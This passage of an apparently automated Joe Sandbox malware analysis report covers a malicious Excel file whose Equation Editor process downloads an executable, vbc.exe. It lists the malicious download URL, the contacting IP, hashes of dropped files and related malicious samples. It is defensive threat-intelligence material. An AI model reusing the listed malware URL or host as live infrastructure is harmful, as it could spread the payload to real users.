http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check	vbc.exe, 00000004.00000002.672041405.00000000032C7000.00000002.00020000.sdmp	false		high
http://www.icra.org/vocabulary/.	vbc.exe, 00000004.00000002.672041405.00000000032C7000.00000002.00020000.sdmp	false	URL Reputation: safe	unknown
http://windowsmedia.com/redir/services.asp?WMPFriendly=true	vbc.exe, 00000004.00000002.672041405.00000000032C7000.00000002.00020000.sdmp	false	URL Reputation: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
192.3.121.153	unknown	United States		36352	AS-COLOCROSSINGUS	true

General Information

Joe Sandbox Version:	33.0.0 White Diamond
Analysis ID:	502631
Start date:	14.10.2021
Start time:	07:36:33
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 5m 44s
Hypervisor based Inspection enabled:	false
Report type:	light
Sample file name:	destinations.xlsx
Cookbook file name:	defaultwindowsofficecookbook.jbs
Analysis system description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.expl.evad.winXLSX@4/15@0/1
EGA Information:	Failed
HDC Information:	Successful, ratio: 29.9% (good quality ratio 8.4%) Quality average: 18.1% Quality standard deviation: 31.1%
HCA Information:	Failed
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .xlsx Found Word or Excel or PowerPoint or XPS Viewer Attach to Office via COM Scroll down Close Viewer
Warnings:	Show All Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, svchost.exe TCP Packets have been reduced to 100

Simulations

Behavior and APIs

Time	Type	Description
07:37:39	API Interceptor	59x Sleep call for process: EQNEDT32.EXE modified

Joe Sandbox View / Context

IPs

No context

Domains

No context

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
AS-COLOCROSSINGUS	hoho.arm	Get hash	malicious	Browse	172.245.26.223
	9HV44nndlN	Get hash	malicious	Browse	107.173.10.2
	SecuriteInfo.com.Linux.BtcMine.477.14890.22904	Get hash	malicious	Browse	107.174.85.135
	MqP0jnQnDs	Get hash	malicious	Browse	107.173.176.7
	h53kqH28Nu	Get hash	malicious	Browse	107.173.176.7
	D8a4ajTd5L	Get hash	malicious	Browse	107.173.176.7
	ucPSZiWwsb	Get hash	malicious	Browse	107.173.176.7
	Y1Nx2LJUmA	Get hash	malicious	Browse	107.173.176.7
	ykE1WsTD4q	Get hash	malicious	Browse	107.173.176.7
	Sajeeb09908976745344567.xlsx	Get hash	malicious	Browse	192.3.110.172
	Paymentslip 10132021.xlsx	Get hash	malicious	Browse	192.3.13.95
	Swift.xlsx	Get hash	malicious	Browse	192.3.222.155
	ojZRw3eBpN	Get hash	malicious	Browse	107.172.24.165
	yEumlkJuVE	Get hash	malicious	Browse	107.173.176.7
	DHL consignment number_600595460.xlsx	Get hash	malicious	Browse	198.12.84.79
	4f0PBbcOBI	Get hash	malicious	Browse	107.173.176.7
	IdXkXl1i9r	Get hash	malicious	Browse	107.173.176.7
	RlypFfB7n8	Get hash	malicious	Browse	107.173.176.7
	7iw4z5I41w	Get hash	malicious	Browse	107.173.176.7
	6wfKGbEfZN	Get hash	malicious	Browse	107.173.176.7

JA3 Fingerprints

No context

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\vbc[1].exe Download File
Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	downloaded
Size (bytes):	208896
Entropy (8bit):	4.14906794472717
Encrypted:	false
SSDEEP:	1536:tTEDegofhrRAnvzYFBWigYcgkOwijQkwY+EhBKDID:tQeZpR47YeigqVX+SK8
MD5:	8777020A37B6797241A489A707B9784B
SHA1:	A1ED1029B967295F9CE5E9D219F41DC6C7FC4D1A
SHA-256:	8A45D901CAB57A1B65C32AEA2452F56436DCF01C37BDF7875838E6054F395D90
SHA-512:	0A9D13CA582DD72B4CDCE8C91A5226AEB8C70AC7A73FA5F9775C6D03753BF7EC856371F55BF5F5E38F0A1D84E375C80916E5508F89D91E7100A82C4E544174D8
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Virustotal, Detection: 27%, Browse
Reputation:	low
IE Cache URL:	http://192.3.121.153/00800800/vbc.exe
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........i......................*..............Rich....................PE..L......R.....................P......\|.............@..........................@..............................................$...(.......&%..................................................................0... ....................................text............................... ..`.data...............................@....rsrc...&%.......0..................@..@...I............MSVBVM60.DLL............................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\21EEA90B.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 413 x 220, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10202
Entropy (8bit):	7.870143202588524
Encrypted:	false
SSDEEP:	192:hxKBFo46X6nPHvGePo6ylZ+c5xlYYY5spgpb75DBcld7jcnM5b:b740IylZ+c5xlYF5Sgd7tBednd
MD5:	66EF10508ED9AE9871D59F267FBE15AA
SHA1:	E40FDB09F7FDA69BD95249A76D06371A851F44A6
SHA-256:	461BABBDFFDCC6F4CD3E3C2C97B50DDAC4800B90DDBA35F1E00E16C149A006FD
SHA-512:	678656042ECF52DAE4132E3708A6916A3D040184C162DF74B78C8832133BCD3B084A7D03AC43179D71AD9513AD27F42DC788BCBEE2ACF6FF5E7FEB5C3648B305
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR...............\|.....sRGB.........gAMA......a.....pHYs..........o.d..'oIDATx^.k...u.D.R.b\J"Y..".d.\|pq..2.r,.U.#.)F.K.n.).JI)."....T.....!.....`/H. ...\<...K...DQ"..]..(RI..>.s..t..w.>..U....>.....s/....1./^..p..........Z.H3.y..:..<..........[...@[.........Z.`E....Y:{.,.<y..x....O..................M....M........:..tx............'o..kh.0./.3.7.V...@t........x......~...A.?w....@...A]h.0./.N..^,h......D.....M..B..a}a.a.i.m...D.....M..B..a}a.a.........A]h.0.....P41..-........&.!...!.x......(.......e..a :.+.\|.Ut.U_..........2un......F7[.z.?...&..qF}.}..]I...+..J.w.~Aw....V..-.....B, W.5..P.y....>[.....q.t.6U<..@.....qE9.nT.u...`..AY.?...Z<.D.t...HT..A.....8.)..M...k\...v...`..A..?.N.Z<.D.t.Htn.O.sO...0..wF...W.#H...!p....h...\|.V+Kws2/......W....Q.,...8X.)c...M..H.\|.h.0....R...Mg!...B...x..;....Q..5........m.;.Q./9..e"{Y.P..1x...FB!....C.G.......41.........@t@W......B/.n.b...w..d....k'E..&..%l.4SBt.E?..m...eb?.....@.....a :.+H...Rh..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\511BE33D.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 737 x 456, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	83904
Entropy (8bit):	7.986000888791215
Encrypted:	false
SSDEEP:	1536:xNzYthYR7Iu3TjzBH8lXtvmNy2k8KYpNNNQ64nBLEMoknbRVmnN6:xNzUGxDjeOs2kSNSBh24
MD5:	9F9A7311810407794A153B7C74AED720
SHA1:	EDEE8AE29407870DB468F9B23D8C171FBB0AE41C
SHA-256:	000586368A635172F65B169B41B993F69B5C3181372862258DFAD6F9449F16CD
SHA-512:	27FC1C21B8CB81607E28A55A32ED895DF16943E9D044C80BEC96C90D6D805999D4E2E5D4EFDE2AA06DB0F46805900B4F75DFC69B58614143EBF27908B79DDA42
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR.............oi......IDATx..u\|........@ .@..[.H.5...<....R.8.P...b-....[.!...M..1{on.MB.@...{........r..9s.QTUE".H$..$.a._.@".H$..$...".H$..$;"e..D".H$..).H$..D".H.E".H$.IvD.(..D".H.#RF.H$..D...2.D".H$..Q$..D".dG..".H$..$;"e..D".H$..).H$..D".H.E".H$.IvD.(..D".H.#RF.H$..D...... y.P....D".H..TU}..RF..jRRR...A.1y..Eyj..d$Ne.U..x..f...,.3.......^.m.ga<r...Q..Y..&....43\|A...~...b...l..&........d../C..... ...sN....;.IFXX<..F.z$..D".dG..E..1.fR.%..= 6((W..5.m....YsM.!.....v..r.....\Y..h.N.M.v....{.%...........gb&.<..7/..).X..(\.......0k......k.d2..KI;...O.X..]j.G..BB(U..........`.zU@=t$...S........N...6..a`..t...z.v:.....M......YUe.N....TI...]NQ.<..vm....o....\|yt:......P..d.]....bE.zr.....UJ.y.b....5...gg..?..;pr..V-..U.66.h...Y.......q_t:.."M..x.7...4Y...aa.@qw.I..=.sgC.....pa.!O.Q.....%.f..P..~.uk...8.......-R....5m.I..S.BCC....9r...O.<8u....Q$..E!).`.6.7V.k+WF^...y...p......5.......\)~Y.7m....../.P._^.0W@.....[....<.R..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\528BF790.jpeg Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 150x150, segment length 16, baseline, precision 8, 1275x1650, frames 3
Category:	dropped
Size (bytes):	85020
Entropy (8bit):	7.2472785111025875
Encrypted:	false
SSDEEP:	768:RgnqDYqspFlysF6bCd+ksds0cdAgfpS56wmdhcsp0Pxm00JkxuacpxoOlwEF3hVL:RUqQGsF6OdxW6JmPncpxoOthOip
MD5:	738BDB90A9D8929A5FB2D06775F3336F
SHA1:	6A92C54218BFBEF83371E825D6B68D4F896C0DCE
SHA-256:	8A2DB44BA9111358AFE9D111DBB4FC726BA006BFA3943C1EEBDA5A13F87DDAAB
SHA-512:	48FB23938E05198A2FE136F5E337A5E5C2D05097AE82AB943EE16BEB23348A81DA55AA030CB4ABCC6129F6EED8EFC176FECF0BEF4EC4EE6C342FC76CCDA4E8D6
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	......JFIF.............C....................................................................C.......................................................................r...."............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5D127D2C.emf Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	497636
Entropy (8bit):	0.6294563664495783
Encrypted:	false
SSDEEP:	384:xFXXwBkNWZ3cJuUvmWnTG+W4kH8ddxzsFfWS:PXwBkNWZ3cjvmWa+Vkv
MD5:	D57A36414E1F432B9F2EADCA1F32EA87
SHA1:	357610FE63E07D4948AB4C3028E0A28D1F5E11F3
SHA-256:	1303048ECEE15E6A8E52DB06CBEFC973BE8B4AF6FF0A292B7D98F979CBAC6FB3
SHA-512:	CCD293A8FFE40246D6D8B56046D7E3D113D2E3C59526E12C42887DFE8F4E4A8A218073592DE88BB8F8F77B6F9538F9E85DD8094AD55658A1683FE782809430FA
Malicious:	false
Reputation:	low
Preview:	....l...............,............=..\... EMF.......)...............................................\K..hC..F...,... ...EMF+.@..................X...X...F...\...P...EMF+"@...........@..........$@..........0@.............?!@...........@......................................................%...........%...................................R...p................................@."C.a.l.i.b.r.i.....................................................VZ$.......f`Z.@..%...d...............RQ.[..........t.....$Q.[...... ...Id`Z...... .........&..d`Z"...........O....................O......%...X...%...7...................{$..................C.a.l.i.b.r.i..............X......8...8XZ......&.dv......%...........%...........%...........!...............................F...(.......GDIC........................F....E...E..EMF+*@..$..........?...........?.........@..\|D..pD...............................PNG........IHDR.............@..o....sRGB.........gAMA......a.....pHYs..........+....C.IDATx^.._

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6BE9D81A.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 458 x 211, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	11303
Entropy (8bit):	7.909402464702408
Encrypted:	false
SSDEEP:	192:O64BSHRaEbPRI3iLtF0bLLbEXavJkkTx5QpBAenGIC1bOgjBS6UUijBswpJuaUSt:ODy31IAj0bL/EKvJkVFgFg6UUijOmJJN
MD5:	9513E5EF8DDC8B0D9C23C4DFD4AEECA2
SHA1:	E7FC283A9529AA61F612EC568F836295F943C8EC
SHA-256:	88A52F8A0BDE5931DB11729D197431148EE9223B2625D8016AEF0B1A510EFF4C
SHA-512:	81D1FE0F43FE334FFF857062BAD1DFAE213EED860D5B2DD19D1D6875ACDF3FC6AB82A43E46ECB54772D31B713F07A443C54030C4856FC4842B4C31269F61346D
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR..............P.l....sRGB.........gAMA......a.....pHYs...t...t..f.x..+.IDATx...\|.e............{......z.Y8..DiE.46.@.$$....+!.T.H/..M6..RH.l.R.!AC...>3;3;..4..~...>3.<.<..7.<3..555........c...xo.Z.X.J...Lhv.u.q..C..D......-...#n...!.W..#...x.m..&.S........cG.... s..H.=......,...(((HJJR.s..05J...2m.....=..R..Gs....G.3.z..."............(..1$..)..[..c&t..ZHv..5....3#..~8....Y...............e2...?.0.t.R}ZI..`.&.......rO..U.mK..N.8..C...[..\....G.^y.U.....N.....eff.....A....Z.b.YU....M.j.vC+\.gu..0v..5...fo.....'......^w..y....O.RSS....?.."L.+c.J....ku$._...Av...Z...*Y.0.z..zMsrT.:.<.q.....a.......O.....$2.=\|.0.0..A.v..j....h..P.Nv......,.0....z=...I@8m.h.:]..B.q.C.......6...8qB......G\.."L.o..[)..Z.XuJ.pE..Q.u.:..$[K..2.....zM=`.p.Q@.o.LA../.%....EFsk:z...9.z......>z..H,.{{{...C....n..X.b....K.:..2,...C....;.4....f1,G.....p\|f6.^._.c..'''Qll..........W.[..s..q+e.:.\|..(....aY..yX....}...n.u..8d...L...:B."zuxz..^..m;p..(&&....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\6E478DD9.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 413 x 220, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	10202
Entropy (8bit):	7.870143202588524
Encrypted:	false
SSDEEP:	192:hxKBFo46X6nPHvGePo6ylZ+c5xlYYY5spgpb75DBcld7jcnM5b:b740IylZ+c5xlYF5Sgd7tBednd
MD5:	66EF10508ED9AE9871D59F267FBE15AA
SHA1:	E40FDB09F7FDA69BD95249A76D06371A851F44A6
SHA-256:	461BABBDFFDCC6F4CD3E3C2C97B50DDAC4800B90DDBA35F1E00E16C149A006FD
SHA-512:	678656042ECF52DAE4132E3708A6916A3D040184C162DF74B78C8832133BCD3B084A7D03AC43179D71AD9513AD27F42DC788BCBEE2ACF6FF5E7FEB5C3648B305
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.PNG........IHDR...............\|.....sRGB.........gAMA......a.....pHYs..........o.d..'oIDATx^.k...u.D.R.b\J"Y..".d.\|pq..2.r,.U.#.)F.K.n.).JI)."....T.....!.....`/H. ...\<...K...DQ"..]..(RI..>.s..t..w.>..U....>.....s/....1./^..p..........Z.H3.y..:..<..........[...@[.........Z.`E....Y:{.,.<y..x....O..................M....M........:..tx............'o..kh.0./.3.7.V...@t........x......~...A.?w....@...A]h.0./.N..^,h......D.....M..B..a}a.a.i.m...D.....M..B..a}a.a.........A]h.0.....P41..-........&.!...!.x......(.......e..a :.+.\|.Ut.U_..........2un......F7[.z.?...&..qF}.}..]I...+..J.w.~Aw....V..-.....B, W.5..P.y....>[.....q.t.6U<..@.....qE9.nT.u...`..AY.?...Z<.D.t...HT..A.....8.)..M...k\...v...`..A..?.N.Z<.D.t.Htn.O.sO...0..wF...W.#H...!p....h...\|.V+Kws2/......W....Q.,...8X.)c...M..H.\|.h.0....R...Mg!...B...x..;....Q..5........m.;.Q./9..e"{Y.P..1x...FB!....C.G.......41.........@t@W......B/.n.b...w..d....k'E..&..%l.4SBt.E?..m...eb?.....@.....a :.+H...Rh..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\7AB1F435.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 838 x 469, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	21987
Entropy (8bit):	7.952828365949915
Encrypted:	false
SSDEEP:	384:MoaqtIZxNY3dMzKeijXyso4gYhVZAUrE68p/DazS396RFnDUhkhiedxQ9:AqtIZzYNM+HjXyjOhVZW68pPWGedO9
MD5:	5A25F525D9F0D658AF52A4F78FE031D4
SHA1:	525FB63F75E745FBC90E4E42E624E030C5DF94EB
SHA-256:	D791841D657B6D2A9E5ED1B7F8548B1044A2C7EC62D05846C72D8556DB9E9BC8
SHA-512:	FE2F2D9744CE7235F4DBC36861249372C42B85920B6A1C75A8B2C330BD07F7C4C12A5DF5CA9AAED4C2BCDAD9D196DFF3A34732EE296FE6F006A16ACC41F5EEC3
Malicious:	false
Preview:	.PNG........IHDR...F................PLTE...0.....T[c..........................f..................9.....d.........k9u....b...........9....f..kr............t.......e.......9....]X........./.;9.................h..........d.<...({...........t_.....................c7..Ga.06?....._..V.....T..............9......e......ee...........f......:;.D."...h..............e...............Q....E.......l..~..t"....D.............................:....9...........T.........^..d9;....iv...09.Z...........................................................................$...ee9h.G..........................................~........................................;<.........`....................99....5..............................................................AL...R.IDATx...`..&.H......-@.n..]A... ..Fn.!`$X..&&..X@$c..dl<.#...PD....$&".1..h.N..Y3..L6.d.$.XFw..;&(a....=.:..Z].].Q....S..;.?...W%.D....1..s.!....4....`{U'.QU........~.e.*....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\AC8064F.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 737 x 456, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	83904
Entropy (8bit):	7.986000888791215
Encrypted:	false
SSDEEP:	1536:xNzYthYR7Iu3TjzBH8lXtvmNy2k8KYpNNNQ64nBLEMoknbRVmnN6:xNzUGxDjeOs2kSNSBh24
MD5:	9F9A7311810407794A153B7C74AED720
SHA1:	EDEE8AE29407870DB468F9B23D8C171FBB0AE41C
SHA-256:	000586368A635172F65B169B41B993F69B5C3181372862258DFAD6F9449F16CD
SHA-512:	27FC1C21B8CB81607E28A55A32ED895DF16943E9D044C80BEC96C90D6D805999D4E2E5D4EFDE2AA06DB0F46805900B4F75DFC69B58614143EBF27908B79DDA42
Malicious:	false
Preview:	.PNG........IHDR.............oi......IDATx..u\|........@ .@..[.H.5...<....R.8.P...b-....[.!...M..1{on.MB.@...{........r..9s.QTUE".H$..$.a._.@".H$..$...".H$..$;"e..D".H$..).H$..D".H.E".H$.IvD.(..D".H.#RF.H$..D...2.D".H$..Q$..D".dG..".H$..$;"e..D".H$..).H$..D".H.E".H$.IvD.(..D".H.#RF.H$..D...... y.P....D".H..TU}..RF..jRRR...A.1y..Eyj..d$Ne.U..x..f...,.3.......^.m.ga<r...Q..Y..&....43\|A...~...b...l..&........d../C..... ...sN....;.IFXX<..F.z$..D".dG..E..1.fR.%..= 6((W..5.m....YsM.!.....v..r.....\Y..h.N.M.v....{.%...........gb&.<..7/..).X..(\.......0k......k.d2..KI;...O.X..]j.G..BB(U..........`.zU@=t$...S........N...6..a`..t...z.v:.....M......YUe.N....TI...]NQ.<..vm....o....\|yt:......P..d.]....bE.zr.....UJ.y.b....5...gg..?..;pr..V-..U.66.h...Y.......q_t:.."M..x.7...4Y...aa.@qw.I..=.sgC.....pa.!O.Q.....%.f..P..~.uk...8.......-R....5m.I..S.BCC....9r...O.<8u....Q$..E!).`.6.7V.k+WF^...y...p......5.......\)~Y.7m....../.P._^.0W@.....[....<.R..

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C1845553.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 838 x 469, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	21987
Entropy (8bit):	7.952828365949915
Encrypted:	false
SSDEEP:	384:MoaqtIZxNY3dMzKeijXyso4gYhVZAUrE68p/DazS396RFnDUhkhiedxQ9:AqtIZzYNM+HjXyjOhVZW68pPWGedO9
MD5:	5A25F525D9F0D658AF52A4F78FE031D4
SHA1:	525FB63F75E745FBC90E4E42E624E030C5DF94EB
SHA-256:	D791841D657B6D2A9E5ED1B7F8548B1044A2C7EC62D05846C72D8556DB9E9BC8
SHA-512:	FE2F2D9744CE7235F4DBC36861249372C42B85920B6A1C75A8B2C330BD07F7C4C12A5DF5CA9AAED4C2BCDAD9D196DFF3A34732EE296FE6F006A16ACC41F5EEC3
Malicious:	false
Preview:	.PNG........IHDR...F................PLTE...0.....T[c..........................f..................9.....d.........k9u....b...........9....f..kr............t.......e.......9....]X........./.;9.................h..........d.<...({...........t_.....................c7..Ga.06?....._..V.....T..............9......e......ee...........f......:;.D."...h..............e...............Q....E.......l..~..t"....D.............................:....9...........T.........^..d9;....iv...09.Z...........................................................................$...ee9h.G..........................................~........................................;<.........`....................99....5..............................................................AL...R.IDATx...`..&.H......-@.n..]A... ..Fn.!`$X..&&..X@$c..dl<.#...PD....$&".1..h.N..Y3..L6.d.$.XFw..;&(a....=.:..Z].].Q....S..;.?...W%.D....1..s.!....4....`{U'.QU........~.e.*....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\DC62CC04.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 458 x 211, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	11303
Entropy (8bit):	7.909402464702408
Encrypted:	false
SSDEEP:	192:O64BSHRaEbPRI3iLtF0bLLbEXavJkkTx5QpBAenGIC1bOgjBS6UUijBswpJuaUSt:ODy31IAj0bL/EKvJkVFgFg6UUijOmJJN
MD5:	9513E5EF8DDC8B0D9C23C4DFD4AEECA2
SHA1:	E7FC283A9529AA61F612EC568F836295F943C8EC
SHA-256:	88A52F8A0BDE5931DB11729D197431148EE9223B2625D8016AEF0B1A510EFF4C
SHA-512:	81D1FE0F43FE334FFF857062BAD1DFAE213EED860D5B2DD19D1D6875ACDF3FC6AB82A43E46ECB54772D31B713F07A443C54030C4856FC4842B4C31269F61346D
Malicious:	false
Preview:	.PNG........IHDR..............P.l....sRGB.........gAMA......a.....pHYs...t...t..f.x..+.IDATx...\|.e............{......z.Y8..DiE.46.@.$$....+!.T.H/..M6..RH.l.R.!AC...>3;3;..4..~...>3.<.<..7.<3..555........c...xo.Z.X.J...Lhv.u.q..C..D......-...#n...!.W..#...x.m..&.S........cG.... s..H.=......,...(((HJJR.s..05J...2m.....=..R..Gs....G.3.z..."............(..1$..)..[..c&t..ZHv..5....3#..~8....Y...............e2...?.0.t.R}ZI..`.&.......rO..U.mK..N.8..C...[..\....G.^y.U.....N.....eff.....A....Z.b.YU....M.j.vC+\.gu..0v..5...fo.....'......^w..y....O.RSS....?.."L.+c.J....ku$._...Av...Z...*Y.0.z..zMsrT.:.<.q.....a.......O.....$2.=\|.0.0..A.v..j....h..P.Nv......,.0....z=...I@8m.h.:]..B.q.C.......6...8qB......G\.."L.o..[)..Z.XuJ.pE..Q.u.:..$[K..2.....zM=`.p.Q@.o.LA../.%....EFsk:z...9.z......>z..H,.{{{...C....n..X.b....K.:..2,...C....;.4....f1,G.....p\|f6.^._.c..'''Qll..........W.[..s..q+e.:.\|..(....aY..yX....}...n.u..8d...L...:B."zuxz..^..m;p..(&&....

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\E2D26738.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 1295 x 471, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	68702
Entropy (8bit):	7.960564589117156
Encrypted:	false
SSDEEP:	1536:Hu2p9Cy+445sz12HnOFIr0Z7gK8mhVgSKe/6mLsw:O2p9w1HCIOTKEhQw
MD5:	9B8C6AB5CD2CC1A2622CC4BB10D745C0
SHA1:	E3C68E3F16AE0A3544720238440EDCE12DFC900E
SHA-256:	AA5A55A415946466C1D1468A6349169D03A0C157A228B4A6C1C85BFD95506FE0
SHA-512:	407F29E5F0C2F993051E4B0C81BF76899C2708A97B6DF4E84246D6A2034B6AFE40B696853742B7E38B7BBE7815FCCCC396A3764EE8B1E6CFB2F2EF399E8FC715
Malicious:	false
Preview:	.PNG........IHDR.....................pHYs..........+......tIME......&...T....tEXtAuthor....H....tEXtDescription...!#....tEXtCopyright....:....tEXtCreation time.5.......tEXtSoftware.]p.:....tEXtDisclaimer.........tEXtWarning........tEXtSource.........tEXtComment........tEXtTitle....'.. .IDATx...y\|T.?..l..3. .$.D..(v....Q.q.....W.[...Z..-.Hlmm...4V..BU..V@,h.t.....}...cr.3.......B3s.....\|.}.G6j.t.Qv..-Q9...r\"""""""".H9...Y...v...........7........Q..^t{P..C..""""""""".e..n@7B.{Q.S.HDDDDDDDD...........\bxHDDDDDDDDD.1<$""""""""......d2Y@9`@c.v..8P...0`..a\|.....<... ..+...[""""""""".....~..,........+.t..._..o.....8z.$ ..U.Mp".....Z8.a;.B..'...y..I^......e........,}.+.M..K...M...A.7.Z[[.E.....B...nF.:5.."""""""".(.....d.3*..E.=...[o...o.....n..._.{..-..M.3....px(.5..4lt..&....d.R!.......!.$''.n.....X,..__ar.d..0 .M#"""""""..S...T...Ai.8P^XX(..d.....u[.f...8........[`...q..9R../.....v.b.5.r`.[.A..a.....a6......S.o.h7...........g..v..+.~.oB.H..\|..8...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\FB8384B2.png Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PNG image data, 1295 x 471, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	68702
Entropy (8bit):	7.960564589117156
Encrypted:	false
SSDEEP:	1536:Hu2p9Cy+445sz12HnOFIr0Z7gK8mhVgSKe/6mLsw:O2p9w1HCIOTKEhQw
MD5:	9B8C6AB5CD2CC1A2622CC4BB10D745C0
SHA1:	E3C68E3F16AE0A3544720238440EDCE12DFC900E
SHA-256:	AA5A55A415946466C1D1468A6349169D03A0C157A228B4A6C1C85BFD95506FE0
SHA-512:	407F29E5F0C2F993051E4B0C81BF76899C2708A97B6DF4E84246D6A2034B6AFE40B696853742B7E38B7BBE7815FCCCC396A3764EE8B1E6CFB2F2EF399E8FC715
Malicious:	false
Preview:	.PNG........IHDR.....................pHYs..........+......tIME......&...T....tEXtAuthor....H....tEXtDescription...!#....tEXtCopyright....:....tEXtCreation time.5.......tEXtSoftware.]p.:....tEXtDisclaimer.........tEXtWarning........tEXtSource.........tEXtComment........tEXtTitle....'.. .IDATx...y\|T.?..l..3. .$.D..(v....Q.q.....W.[...Z..-.Hlmm...4V..BU..V@,h.t.....}...cr.3.......B3s.....\|.}.G6j.t.Qv..-Q9...r\"""""""".H9...Y...v...........7........Q..^t{P..C..""""""""".e..n@7B.{Q.S.HDDDDDDDD...........\bxHDDDDDDDDD.1<$""""""""......d2Y@9`@c.v..8P...0`..a\|.....<... ..+...[""""""""".....~..,........+.t..._..o.....8z.$ ..U.Mp".....Z8.a;.B..'...y..I^......e........,}.+.M..K...M...A.7.Z[[.E.....B...nF.:5.."""""""".(.....d.3*..E.=...[o...o.....n..._.{..-..M.3....px(.5..4lt..&....d.R!.......!.$''.n.....X,..__ar.d..0 .M#"""""""..S...T...Ai.8P^XX(..d.....u[.f...8........[`...q..9R../.....v.b.5.r`.[.A..a.....a6......S.o.h7...........g..v..+.~.oB.H..\|..8...

C:\Users\user\Desktop\~$destinations.xlsx Download File
Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	false
